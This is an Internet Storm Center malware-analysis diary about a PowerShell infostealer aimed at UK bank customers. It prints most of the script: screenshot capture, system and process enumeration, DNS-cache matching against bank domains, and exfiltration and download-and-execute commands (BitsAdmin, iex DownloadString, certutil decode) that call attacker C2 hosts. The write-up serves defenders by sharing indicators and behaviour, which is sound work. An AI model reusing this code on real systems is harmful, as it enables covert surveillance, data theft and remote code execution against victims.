Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Internet Storm Center - SANS Internet Storm Center Internet Storm Center


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Malicious Powershell Targeting UK Bank Customers

Published: 2018-05-19
Last Updated: 2018-05-19 06:08:20 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I found a very interesting sample thanks to my hunting rules… It is a PowerShell script that was uploaded on VT for the first time on the 16th of May from UK. The current VT score is still 0/59[1]. The upload location is interesting because the script targets major UK bank customers as we will see below. Some pieces of the puzzle are missing. I don’t know how the script was dropped on the target. A retro-hunt search reported a malicious PE file (SHA256:3e00ef97f017765563d61f31189a5b86e5f611031330611b834dc65623000c9e[2]) that downloads another PowerShell script from a site located on a similar URL as found in the first file (hxxps://cflfuppn[.]eu/sload/run-first.ps1). Let’s check deeper the initial script. The first comment: it is not obfuscated and very easy to read and understand. Here is a review of the actions performed.

A specific directory is created to store all the files downloaded and created. The directory name is based on the system UUID and contains other sub-directories:

(Note: the code has been beautified for easier reading)

$uuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
$path = $env:APPDATA+"\"+$uuid;
$pp=$path+'\'+$uuid;
try{ if([System.IO.File]::Exists($pp+"_0")){ Remove-Item $pp"_0";} }catch{}
try{ if([System.IO.File]::Exists($pp+"_1")){ Remove-Item $pp"_1";} }catch{}
try{ if([System.IO.File]::Exists($pp+"_2")){ Remove-Item $pp"_2";} }catch{}
try{ if([System.IO.File]::Exists($pp)){ Remove-Item $pp; } }catch{}

The most interesting function of the script: It has the capability to take screenshots:

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

function Get-ScreenCapture{
  Param(
    [Parameter()]
    [Alias("Path")]
    [string]$Directory = ".",
    [Parameter()]
    [ValidateRange(70,100)]
    [int]$Quality,
    [Parameter()]
    [Switch]$AllScreens)
  Set-StrictMode -Version 2
  Add-Type -AssemblyName System.Windows.Forms
  if ($AllScreens) {
    $Capture = [System.Windows.Forms.Screen]::AllScreens
  } else {
    $Capture = [System.Windows.Forms.Screen]::PrimaryScreen
  }
  foreach ($C in $Capture) {
    $screenCapturePathBase = $path+"\ScreenCapture"
    $cc = 0
    while (Test-Path "${screenCapturePathBase}${cc}.jpg") {
      $cc++
    }
    $FileName="${screenCapturePathBase}${cc}.jpg"    
    $Bitmap = New-Object System.Drawing.Bitmap($C.Bounds.Width, $C.Bounds.Height)
    $G = [System.Drawing.Graphics]::FromImage($Bitmap)
    $G.CopyFromScreen($C.Bounds.Location, (New-Object System.Drawing.Point(0,0)), $C.Bounds.Size)
    $g.Dispose()
    $Quality=70;
    $EncoderParam = [System.Drawing.Imaging.Encoder]::Quality
    $EncoderParamSet = New-Object System.Drawing.Imaging.EncoderParameters(1)
    $EncoderParamSet.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($EncoderParam, $Quality)
    $JPGCodec = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where{$_.MimeType -eq 'image/jpeg'}
    $Bitmap.Save($FileName ,$JPGCodec, $EncoderParamSet)
    $FileSize = [INT]((Get-Childitem $FileName).Length / 1KB)
  }
}

Then, a list of URLs is probed to download the next payload. They use BitsAdmin to do the job in the background and wait for the completion of at least one download. 

$d = @("hxxps://cflfuppn[.]eu/sload/gate.php","hxxps://sbnlnepttqvbltm[.]eu/sload/gate.php”);
For ($i=0; $i -le $d.Length-1; $i++){
  $rp= -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
  $dm0 = "cmd.exe";
  $ldf='/C bitsadmin /transfer '+$rp+' /download /priority normal "'+$d[$i]+'?ch=1" '+$path+'\'+$uuid+'_'+$i;
  $ldg='/C bitsadmin /SetMaxDownloadTime '+$rp+' 60'
  start-process -wiNdowStylE HiDden $dm0 $ldf;
  start-process -wiNdowStylE HiDden $dm0 $ldg;
}

$e=1
while($e -eq 1) {
  $ad=2;
  For ($i=0; $i -le $d.Length-1; $i++) {        
    $pp=$path+'\'+$uuid+'_'+$i;
    if([System.IO.File]::Exists($pp)) {
      $line=Get-Content $pp
      if ($line -eq "sok"){ $did=$i; }
      $ad=1;
    }            
  }
  if ($ad -eq 1){ $e=2; }
  Start-Sleep -m 30000
}

Note the very long waiting time in the loop (30K minutes). Unfortunately, both URLs were not working during my analysis. At the end of the while() loop, $did contains the index of the URL which worked. It will be re-used later.

The next step is to generate a list of processes running on the target system (without the classic Windows system processes)

$out="";
$tt=Get-Process  | Select-Object name
for ($i=0; $i -le $tt.length-1; $i++) {
  if ($tt[$i].Name -notmatch "svchost" -and $tt[$i].Name -notmatch "wininit" -and $tt[$i].Name -notmatch "winlogon" -and \
      $tt[$i].Name -notmatch "System" -and $tt[$i].Name -notmatch "dllhost" -and $tt[$i].Name -notmatch "conhost" -and \
      $tt[$i].Name -notmatch "ApplicationFrameHost" -and $tt[$i].Name -notmatch "csrss" -and \
      $tt[$i].Name -notmatch "bitsadmin" -and $tt[$i].Name -notmatch "cmd" -and $tt[$i].Name -notmatch "RuntimeBroker") {
    $out=$out+"*"+$tt[$i].Name;
  }    
}

The list of network shares is generated:

$outD="";
$dd=Get-WmiObject -Class Win32_LogicalDisk | Where-Object {$_.Description -match 'Network'} | Select-Object ProviderName,DeviceID;
try{ if ($dd ){for ($i=0; $i -le $dd.length; $i++){$outD=$outD+'{'+$dd[$i].DeviceID+''+$dd[$i].ProviderName+'}';}} }catch {}
try{ if ($dd -and $outD -eq "" ){$outD='{'+$dd[$i].DeviceID+''+$dd.ProviderName+'}';}}catch {}

Basic information about the target system:

$v1=[System.Environment]::OSVersion.Version.Major;
$v2=[System.Environment]::OSVersion.Version.Minor;
$cp=Get-WmiObject  win32_processor | select Name;
try{ if ($cp.length -gt 0){ $cpu=$cp[0].Name }else{$cpu=$cp.Name} }catch {}

The most interesting part is the following. The script gets a list of DNS resolver cache via the ‘ipconfig /displaydns’ command and searches for interesting domains. The script contains a nice list of UK banks domains:

$oB="";
$b = @("nwolb.com","bankline","bankofscotland.co.uk","bankofscotland.co.uk","secure.lloydsbank.co.uk", \
       "secure.halifaxonline.co.uk","hsbc.co.uk","rbsdigital.com","barclays.co.uk","onlinebusiness.lloydsbank", \
       "tsb.co.uk","retail.santander.co.uk","business.santander.co.uk","onlinebanking.nationwide.co.uk");

$dn=ipconfig /displaydns  | select-string "Record Name"
forEach ($z in $dn) {
  for ($i=0; $i -le $b.length-1; $i++){
    if ($z -match $b[$i] -and $oB -notmatch $b[$i] ){ $oB+="*"+$b[$i];}
  }
}

If you are a UK bank customer and if you are performing online banking operations, there are chances that one of the domains above will be in your cache.

All the captured data are exfiltrated via an HTTP request:

$rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
$dm0 = "cmd.exe";
$ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND "'+$d[$did]+ \
    '?g=top.14.05&id='+$uuid+'&v='+$v1+'.'+$v2+'&c='+$rp+'&a='+$out+'&d='+$outD+ \
    '&n='+$env:ComputerName+'&bu='+$oB+'&cpu='+$cpu+'" '+$path+'\'+$uuid;
start-process -wiNdowStylE HiDden $dm0 $ldf;    

Here is an example of HTTP request:

"hxxps://cflfuppn[.]eu/sload/gate.php?g=top.14.05&id=C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F&v=10.0&c=DFnvTdwyapGVXEMZ&a=*armsvc*audiodg*browser_broker*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*ctfmon*dasHost*dwm*explorer*fontdrvhost*fontdrvhost*HxCalendarAppImm*HxTsr*Idle*jusched*lsass*ManagementAgentHost*MemoryCompression*MicrosoftEdge*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MSASCuiL*msdtc*MsMpEng*Music.UI*NisSrv*notepad*OfficeClickToRun*OfficeHubTasHost*powershell*Registry*SearchFilterHost*SearchIndexer*SearchProtocolHost*SearchUI*SecurityHealthService*services*SettingSyncHost*SgrmBroker*ShellExperienceHost*sihost*smartscreen*smss*splunkd*splunkwinevtlog*spoolsv*Sysmon*taskhostw*TPAutoConnect*TPAutoConnSvc*VGAuthService*vmacthlp*vmtoolsd*vmtoolsd*WinStore.App*WmiPrvSE*WVSScheduler&d={H:\\nas\test}{Z:}{}&n=WIN10VM&bu=*rootshell&cpu=Intel(R) Core(TM) i7-6920HQ CPU @ 2.90GHz” path=C:\Users\xavier\AppData\Roaming\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F

The result of this request is stored in %APPDATA%\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F and is parsed to take further actions. I presume that the returned content depends on the collection victim details. Based on the code below,  we can deduce the behaviour:

$line=Get-Content $pp
if ($line -match "run="){
  $u=$line -replace 'run=','';
  $ldf="/C powershell.exe  -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('"+$u+"')))";
  start-process -wiNdowStylE HiDden $dm0 $ldf;
} elseif ($line -match "updateps=") {
  $u=$line -replace 'updateps=','';
  $ldf="/C powershell.exe  -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('"+$u+"')))";
  start-process -wiNdowStylE HiDden $dm0 $ldf;
  try{ if([System.IO.File]::Exists($pp+"_0")){ Remove-Item $pp"_0";} }catch{}
  try{ if([System.IO.File]::Exists($pp+"_1")){ Remove-Item $pp"_1";} }catch{}
  try{ if([System.IO.File]::Exists($pp+"_2")){ Remove-Item $pp"_2";} }catch{}
  try{ Remove-Item $pp; }catch{}
  break;break;break;break;
}elseif ($line.length -gt 3) {
  $rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
  $ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND '+$line+' '+$path+'\'+$uuid+'_'+$rp+'.txt & Copy /Z '+$path+'\'+$uuid+'_'+$rp+'.txt '+$path+'\'+$uuid+'_'+$rp+'_1.txt & certutil -decode '+$path+'\'+$uuid+'_'+$rp+'_1.txt '+$path+'\'+$uuid+'_'+$rp+'.exe & powershell -command "start-process '+$path+'\'+$uuid+'_'+$rp+'.exe" >> '+$path+'\'+$uuid+''+$rp+'.log & bitsadmin /transfer '+$rp+'s /download /priority normal "'+$d[$did]+'?ts=1&id='+$uuid+'&c='+$rp+'" '+$path+'\'+$uuid+'_'+$rp+'.txt';
  start-process -wiNdowStylE HiDden $dm0 $ldf;
}

If the line starts with ‘run=‘, a new PowerShell script is downloaded and executed.
If the line starts with ‘updateps=‘, another script is downloaded and previous files are removed if existing.
Otherwise, the line contains an URL which is downloaded. The data is Base64 encoded, is decoded with certutil.exe and executed. Another HTTP request is performed:

"hxxps://cflfuppn[.]eu/sload/gate.php?ts=1&id=C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F&c=PFexTUwEzpGXXgwl”

This looks like clearly a communication channel with the C2.

Then, five screenshots are performed:

for ($i=0;$i -le 5;$i++){
  Get-ScreenCapture;
  Start-Sleep -s 40
}

And uploaded to the C2:

$c=0;
$screenCapturePathBase =  $path+"\ScreenCapture";
while (Test-Path "${screenCapturePathBase}${c}.jpg") {
  try{ Invoke-RestMethod -Uri "https://cflfuppn.eu/sload/u.php?id=$uuid&i=$c" -Method Post -InFile "${screenCapturePathBase}${c}.jpg"  -UseDefaultCredentials }catch{}
  Remove-Item "${screenCapturePathBase}${c}.jpg";
  $c++;
}

All this code is placed in the script main loop with a sleep time of 600 seconds. 

Do you have more information about the missing payloads? Please share.

[1] https://www.virustotal.com/#/file/89c97d1b29ea78baf061e31e8d5258abcdd2cd3830ab9f9e9b6a47bb64d05ccb/community [2] https://www.virustotal.com/#/file/3e00ef97f017765563d61f31189a5b86e5f611031330611b834dc65623000c9e/detection

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

0 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

Anatomy of a Redis mining worm
May 18th 2018
2 days ago by Remco (0 comments)

Business Email Compromise incidents
May 18th 2018
2 days ago by Mark (2 comments)

Insecure Claymore Miner Management API Exploited in the Wild
May 18th 2018
2 days ago by Johannes (0 comments)

PCI DSS version 3.2.1 is out
May 18th 2018
2 days ago by Mark (0 comments)

EFAIL, a weakness in openPGP and S\MIME
May 16th 2018
4 days ago by Mark (3 comments)

Phishing emails for fake MyEtherWallet login page
May 15th 2018
5 days ago by Brad (0 comments)

Malspam pushing Trickbot malware on Friday 2018-05-11
May 14th 2018
6 days ago by Brad (0 comments)

View All Diaries →

Latest Discussions

NagiosXI 5.2.6 – 5.4.12 unauthenticated exploit chain leads to root access
created May 11th 2018
1 week ago by Remco (0 replies)

MinerPool Threat Feed info
created Apr 4th 2018
1 month ago by Anonymous (0 replies)

DShield on RPi returns no mySQL when running /home/pi/install/dshield/bin/status.sh
created Mar 29th 2018
1 month ago by nekton89 (0 replies)

Splunk: Any way to fetch logs via ssh
created Mar 15th 2018
2 months ago by Anonymous (2 replies)

Possible new worm activity
created Mar 13th 2018
2 months ago by Anonymous (0 replies)

View All Forums →

Latest News

View All News →

Top Diaries

Wide-scale Petya variant ransomware attack noted
Jun 27th 2017
10 months ago by Brad (6 comments)

Using a Raspberry Pi honeypot to contribute data to DShield/ISC
Aug 3rd 2017
9 months ago by Johannes (16 comments)

Second Google Chrome Extension Banker Malware in Two Weeks
Aug 29th 2017
8 months ago by Renato (0 comments)

Detection Lab: Visibility & Introspection for Defenders
Dec 15th 2017
5 months ago by Russ McRee (2 comments)

Maldoc with auto-updated link
Aug 17th 2017
9 months ago by Xme (2 comments)